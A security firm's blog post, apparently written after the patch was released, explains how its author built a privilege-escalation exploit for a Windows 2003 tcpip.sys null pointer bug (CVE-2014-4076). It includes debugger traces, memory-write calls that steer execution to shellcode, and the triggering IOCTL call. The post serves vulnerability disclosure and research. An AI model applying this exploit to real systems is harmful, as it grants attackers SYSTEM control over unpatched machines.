KoreLogic Blog
Windows 2003 Privilege Escalation via tcpip.sys 2015-01-28 22:00

In my post for today, I will be discussing a vulnerability that I found within the TCP/IP driver as implemented by Microsoft within their Windows 2003 Operating System with Service Pack 2 installed (advisory here). If an attacker has obtained unprivileged access into the operating system, this vulnerability may be used to elevate their privilege to that of SYSTEM. This is accomplished by abusing a null near pointer dereference within code that runs during the processing of a specific unprivileged IOCTL call.

This vulnerability was issued identifiers: KL-001-2015-001, MS14-070, and CVE-2014-4076.

In order to avoid duplicating content from the advisory issued for this vulnerability, I will only provide a brief tl;dr before diving into the exploit.

By using nt!NtDeviceIoControlFile() it is possible to leverage a handle into the Tcp device along with the IOCTL code 0x00120028 and specific inputBuffer to trigger a near null pointer dereference within the extended stack index register. This register is used as a pointer to memory containing a dword that is used to determine the code path to be taken. This can be abused through a combination of reverse engineering (in order to understand what values have what effect on code flow) and attacker memory allocation near null.

In this post, I will discuss in detail the methodology leveraged during exploit development. I would like to note that Microsoft has confirmed this vulnerability exists on both x86, x64, and Itanium architectures. I will only focus on the x86 architecture in this post.

The original crash that led to the exploitation of this vulnerability was found as such:

ErrCode = 00000000
eax=00000000 ebx=859ef888 ecx=00000008 edx=00000100 esi=00000000 edi=80a58270
eip=f67ebbbd esp=f620a9c8 ebp=f620a9dc iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
tcpip!SetAddrOptions+0x1d:
f67ebbbd 8b5e28          mov     ebx,dword ptr [esi+28h] ds:0023:00000028=????????

The ???????? indicates that the memory being reference is not allocated and therefore can not be copied from. The ESI register contains 0x00000000, a value that is user-controlled during the IOCTL call. By modifying that value, it is possible for an attacker to control memory used during decisions by the driver relating to code flow. This allows an attacker to influence those decisions in a way that benefits him. Let's review some of what that looks like.

kd> p
tcpip!SetAddrOptions+0x2b:
ba9fca65 f6c340          test    bl,40h
kd> p
tcpip!SetAddrOptions+0x2e:
ba9fca68 7567            jne     tcpip!SetAddrOptions+0x9e (ba9fcad1)
kd> p
tcpip!SetAddrOptions+0x30:
ba9fca6a 66837e3800      cmp     word ptr [esi+38h],0
kd> p
tcpip!SetAddrOptions+0x35:
ba9fca6f 7560            jne     tcpip!SetAddrOptions+0x9e (ba9fcad1)
kd> r;p

The BL register contains the last byte in a dword value obtained from ESI+28, or 0x00000028. No problems there, we'll just write any four-byte value we like there. In my exploit, I ended up with the following:

ret_two = WriteProcessMemory(-1, 0x28, "\x87\xff\xff\x38", 4, byref(c_int(0)))

Only the first and last bytes are really needed to accomplish exploitation. I did not go any further to figure out the meaning of the inner two bytes.

The last byte is tested first using this instruction:

test bl, 40h

Basically, this becomes a bitwise AND (i.e., 0x38 & 0x40). The second test is then encountered. This test determines whether the word pointer at 0x00000038 is 0x0000 or not. Since this also falls within range of memory that I can write to, my exploit does the following:

ret_three = WriteProcessMemory(-1, 0x38, "\x00"*2, 2, byref(c_int(0)))

So far so good, this gets me to a code block that makes a call into tcpip!IsBlockingAOOption.

kd> p
tcpip!SetAddrOptions+0x37:
ba9fca71 ff75f8          push    dword ptr [ebp-8]    ss:0010:b9c5db78=00000200
kd> p
tcpip!SetAddrOptions+0x3a:
ba9fca74 ff750c          push    dword ptr [ebp+0Ch]  ss:0010:b9c5db8c=00000022
kd> p
tcpip!SetAddrOptions+0x3d:
ba9fca77 e8f588ffff      call    tcpip!IsBlockingAOOption (ba9f5371)
kd> p
tcpip!SetAddrOptions+03e:
ba9d4a7c 84c0            test    al,al

This code does a bitwise AND operation on the AL register. The value of the AL register is set as a result of the call to tcpip!IsBlockingAOOption. This code leverages the EAX register, which also becomes tainted with a null value earlier on in the code flow.

From here, we can release code flow until the instruction pointer is dereferenced.

eax=00000010 ebx=80a58290 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=baa07ee2 esp=b9b12b48 ebp=b9b12b60 iopl=0         nv up ei ng nz na pe cy
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000287
tcpip!ProcessAORequests+0x144:
baa07ee2 8b86ec000000    mov     eax,dword ptr [esi+0ECh] ds:0023:000000ec=00000000
kd> p
...
eax=00000000 ebx=80a58290 ecx=00000008 edx=00000000 esi=00000000 edi=00000000
eip=baa07ef3 esp=b9b12b48 ebp=b9b12b60 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000202
tcpip!ProcessAORequests+0x155:
baa07ef3 8945f4          mov     dword ptr [ebp-0Ch],eax ss:0010:b9b12b54=baa07da3
kd> p
...
kd> db [ebp-0c] L?0x4
b9b12b54  00 00 00 00                                      ....
kd> r;p
eax=00000000 ebx=80a58290 ecx=00000002 edx=00000000 esi=00000000 edi=00000000
eip=baa07efa esp=b9b12b40 ebp=b9b12b60 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
tcpip!ProcessAORequests+0x15c:
baa07efa ff55f4          call    dword ptr [ebp-0Ch]  ss:0010:b9b12b54=00000000
Illegal instruction - code c000001d (!!! second chance !!!)
0000002a ff              ???

tl;dr

mov     eax,dword ptr [esi+0ECh] ds:0023:000000ec=00000000
mov     dword ptr [ebp-0Ch],eax ss:0010:b9b12b54=baa07da3
call    dword ptr [ebp-0Ch]  ss:0010:b9b12b54=00000000

Now, we need to get the pointer landing somewhere nice and put some fun shellcode to be executed.

ret_one = NtAllocateVirtualMemory(-1,byref(c_int(0x1000)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40)
ret_five = WriteProcessMemory(-1, 0x2b, "\x00"*2, 2, byref(c_int(0)))
ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0)))

Writing 0x0000 at 0x2b will change the EIP value to 0x2000, we can then have our shellcode waiting at 0x2000. An alternative to this, would be to write a dword pointer to your shellcode at 0x000000ec. Both cases act as a trampoline into the shellcode.

Then, an attacker only needs to issue the following call:

DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x00120028,0x1100,len(buf),0x0,0x0)

A metasploit module to leverage this vulnerability has been released by another member of our team along with this blog post; pull request here. In the meantime, exploit code written in Python can be found in the advisory we published.

Cheers, Matt


0 comments Posted by Matt at: 22:00 permalink

Comments are closed for this story.